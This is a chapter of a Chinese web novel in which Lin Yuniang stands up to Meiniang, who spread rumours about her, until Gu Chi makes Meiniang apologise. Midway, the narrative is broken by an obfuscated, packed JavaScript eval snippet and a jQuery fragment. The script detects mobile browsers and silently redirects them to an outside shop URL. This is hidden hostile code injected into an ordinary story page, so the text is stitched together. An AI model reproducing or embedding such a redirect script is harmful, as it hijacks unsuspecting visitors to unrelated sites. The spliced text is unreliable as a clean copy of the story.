林玉娘不敢出门,因为无论走到哪里都会被指指点点。议论和目光像落在身上的火星子,把她烫得满目疮痍。
即便呆在家里,外面发生的任何动静都会让她一惊一乍,好像有无数只眼睛盯着她。为了摆脱不安,她用劳动麻痹自己。打扫屋子、洗衣做饭,还有做饼,她正在做椒盐饼。
她把做馄饨剩下的白面分成两份,一份用来发酵做饼皮,一份混入油、盐、芝麻和花椒粉做内馅。
白面精贵,偶尔才吃上一顿解馋。林玉娘破罐子破摔奢侈一把,即便刘香凤看到也不会多说,因为是她自己掏钱买的面粉。
林玉娘把油酥包进饼皮里,擀薄,放在抹了猪油的烙锅上烘烤。随着油饼的表皮被烤成金黄色,紧绷的神经在飘散的香气中逐渐放松。
她祈祷这样的日子快点结束,祈祷自己被人遗忘,甚至希望立即发生一件轰动全城的大事,如此就没人会注意她。
滚烫的椒盐饼出锅了,林玉娘呼呼吹气,迫不及待地咬下一口。带着一点焦香的饼皮在嘴里炸响,内里暄软油润,花椒辛香激进、芝麻醇香保守,两种南辕北辙的味道融合后相得益彰。
她全身心地沉浸在美味之中,暂时忘记一切,暂时逃离现实,甚至忽略了一点小小代价——烫麻的舌尖。
突然,外面响起刘香凤的声音,林玉娘骤然抽离小世界。
她恍惚地听到“梅娘”二字,还没来得及细想,就响起一连串的咒骂——
“你个黑心的下贱胚子!没皮没脸的贱货!你以为没了玉娘,你就能爬进顾池的被窝?好好撒泡尿照照自己,就你这样的贱骨头狗都不要!吃了熊心豹子胆竟敢造谣玉娘,我非打死你不可!”
“啊啊!”梅娘惨叫。
林玉娘晃了神,吃剩一半的椒盐饼从手里坠落。
“街坊邻居们都快出来看一看啊!这里有个勾引主子的小贱蹄子!看见主子就抛媚眼,勾引不上就脱光衣服爬床,结果呢,人主子瞧都不瞧一眼把她轰出去,那个哭的呦!我在隔壁可是听得一清二楚!”
“我没有!你造谣!”
“你说没有就没有?!你说造谣就造谣?谁信呐!”
林玉娘身体发颤,一团怒火从心脏燃起并蔓延到四肢百骸。
梅娘是严敏身边的女使,一个倾慕顾池的小女孩。
她初来乍到就对林玉娘抱有轻微敌意,说话也总是夹枪带棒。后来顾池发现她的刻意针对,训斥几次,她因此收敛不少。
起初林玉娘并不理解她的敌意,因为两人没有任何恩怨,后来才知道那是嫉妒。
怒火烧得骨头咯吱作响、烧得血液沸腾,林玉娘拔腿冲出家门。
顾林两家门口被围堵得水泄不通,窃窃私语包裹着梅娘的惨叫。
林玉娘拨开人群挤进去,只见刘香凤对梅娘撕扯踢打,梅娘蓬头垢面、衣不蔽体。
梅娘发现林玉娘,眼睛一亮,哭着向她求救:“姐姐!快救救我!我没有造谣!”
刘香凤朝她身上啐了口浓痰:“你可真是不要脸!你是不是又想仗着玉娘心软坑蒙拐骗?要不是今早我撞见你跟街西的那群丫头小子说玉娘坏话,我可就真被你这幅乖巧的脸给骗了!后来我一打听,嘿!人人都说是你是源头,我还能冤枉了你!”
林玉娘环顾四周,直视每个人的眼睛,不少人刻意躲避或扭头低头,结果不言而喻。她转动僵硬的身体,目光落在梅娘身上。
两人真正关系缓和,是从梅娘找林玉娘借钱开始。
梅娘家里穷困,父母不得已把她卖给严敏当丫头。到顾家后不久,母亲突然来找她借钱给妹妹看病。她不敢同严敏开口,一个人躲在角落里哭泣,被收摊回家的林玉娘发现。
林玉娘毫不犹豫地借她一两银子,她哭着喊了一声“姐姐”,从此以后,梅娘就成为她的妹妹。
吃穿用度,凡是能尽力的,林玉娘无不想着梅娘,就连她来馄饨摊吃饭也是免费。
林玉娘数不清梅娘吃了多少碗馄饨、借过多少次钱,她以为他们早就是是朋友、家人。
原来只是她自欺欺人。
梅娘手脚并用爬到林玉娘脚下,抓住她的裙摆:“姐姐,姐姐!你最疼我了是不是?我真的没骗你,你帮帮我吧!”
林玉娘恍惚,耳朵里好像灌满水,听不清梅娘说话,只看到她的嘴唇不停开合。她晃了晃身体,像是在大风里摇摆的麦苗。
为什么?
她的眼神充斥着迷茫。
为什么十文钱能换来一碗馄饨,善良却换不来善良。
为什么真诚换来背叛、老实就被欺负、好人没有好报。
那些美好的道理不应该让日子变得更美好吗?
究竟是她错了,还是道理错了,还是世界错了?
她的耳边骤然响起裴渊说过的话。
——“当你软弱的时候,善良就是致命缺点。”
当时的她不理解,现在似乎明白了。
林玉娘的眼睛变得清澈,纷杂的声音泄洪般灌进耳朵里,吵得她脑袋疼。
她居高临下地俯视梅娘,斩钉截铁地说:“向我道歉。”
梅娘愣住,她仰视着林玉娘,头一次觉得她高不可攀。她比林玉娘矮半头,可从没觉得林玉娘比她高。
林玉娘同人在一起的时候总是塌肩低头,无论别人怎么对待她,她总是一副讨好的样子。她对寻求帮助的人来者不拒,对伤害她的人也默默忍让,像团棉花似的任人揉搓。
梅娘觉得她是个傻子,一边骗吃骗喝一边又嫉妒她。这份嫉妒在顾池回来后不断攀升,在看见裴渊从她家里出来后升到极点。
“你们还要闹到什么时候!”
严敏脸色铁青,拄着拐杖从人群里走出来。梅娘宛如看到了救星,连忙爬过去。
“刘香凤,梅娘是我带大的孩子,她的脾气秉性我最了解,她绝不可能恶意造谣中伤。平时看在你是玉娘母亲的份上对你多有忍让,可你竟然私自打骂我的丫鬟,就不怕我一纸诉状把你告到县衙?!”
刘香凤换上笑脸:“严夫人啊,你这话说得就不中听了。这丫头表面乖巧,实则一肚子坏水,我这分明是帮你教训她,省得以后再给您惹祸!”
“笑话!”严敏突然转向林玉娘,“玉娘!跟泼皮待久了难道你也变成泼皮不成?你可别忘了,你现在还是顾池的未婚妻,你的一举一动都影响顾池的面子,还不赶快把凤姐拉回家!”
林玉娘顿时像泼了水的木炭,没了一点火气不说还变得蔫哒哒的。
她知道这场闹剧丢了顾家的脸面,她那本就岌岌可危的婚事更是摇摇欲坠。她应该听话赶快离开,为了顾池的名声,为了挽救在严敏眼里的形象。
可是,可是......
严敏看到林玉娘缓缓挺直脊梁,她的眼睛认真且坚毅。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608088|205795||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她不甘心。
顾池的名声重要,难道她的名声就不重要了吗?
她好不容易站在这里面对众人审判,好不容易鼓起勇气为自己发声。如果逃跑了,她一辈子会被钉在耻辱柱上。
“只要梅娘道歉,我们就走。”
林玉娘的声音颤抖但坚定。
刘香凤诧异地看向林玉娘——嘿!长脾气了哎!
严敏的面部肌肉微微抽动,扣着拐杖龙头的手指指尖泛白。
梅娘立即抱住严敏的小腿,乞求道:“夫人,我不能道歉,您一定得帮我啊!”
严敏看穿了她的嫉妒,或许她一直都知道。
梅娘想起那天严敏的神情,和蔼慈祥,没人会觉得这样一张观音似的脸会说出恶毒的话。
——“你去散播林玉娘的谣言,如果成了,我许你做妾。”
林玉娘从没觉得如此煎熬,严敏审视的目光像是灶膛里的烈火,她在逐渐升温的油锅里翻来覆去。
“玉娘,你连我的话都不听吗?”
“她不用听话!”
人群外围突然响起愤怒的声音,众人皆是一惊。
严敏转身,看到顾池从人们开辟的道路上走过来。
“母亲,六郎都告诉我了。造谣之人是梅娘,她该向玉娘道歉。”
林玉娘红了眼,像是溺水之人抓住浮木,紧绷的身体骤然放松。
梅娘脸色煞白,僵硬地抓着衣角。
严敏急迫地上前一步:“可是——”
顾池打断她:“儿子知道母亲担心什么。但是我既已为官,更应该以身作则,决不能阿党相为、姑息养奸!”
“说得好!”刘香凤拍手称赞,围观之人也陆陆续续赞扬叫好。
林玉娘那忐忑的心终于像石头一样平安落地。
梅娘对顾池的秉直端正再了解不过,她知道自己绝无翻身可能了。为了一丝留在顾家的可能,她赶在顾池下令之前跪在林玉娘面前。
“我错了!玉娘,你原谅我吧!”
这是林玉娘听到的第一句道歉,鼻子一酸,眼泪汹涌而出,她抬手捂着嘴巴摇了摇头。
她不原谅,永远都不原谅。
好戏散场了。
顾池来到林玉娘身边,又是心疼又是生气:“眼睛都哭肿了!”
“不哭了,不哭了!”,林玉娘拼命擦掉眼泪,扯出一个比哭还难看的笑容。
顾池抓着她的手腕坐在门口的台阶上,像小时候一样,斑驳的树影落在他们身上。
“对不起,让你受委屈了。”
林玉娘抱着膝盖,吸了吸鼻子,带着浓重的鼻音说:“可是池哥,我给你丢脸了......”
顾池揉了揉她的脑袋,笑道:“说什么傻话呢。你哪里给我丢脸了?是给我长脸了好不好?再说了,我的脸面可跟你没关系,是好是坏那都是我自己的。”
“玉娘,你今天很勇敢。其实之前我就想告诉你,我不可能会一直在你身边,你应该学会保护自己。不过现在你已经做到了,我为你高兴。”
林玉娘觉得这话听起来有些耳熟,好像,好像裴渊也说过同样的话。这时,她觉得惭愧。她不仅冤枉了裴渊,还冷漠对待他。而且,顾池回来是因为裴渊。这说明,他一直在积极调查真相。
林玉娘更愧疚了,蓦然想到他那副病弱的模样,担忧地问:“池哥,裴郎君还好吗?”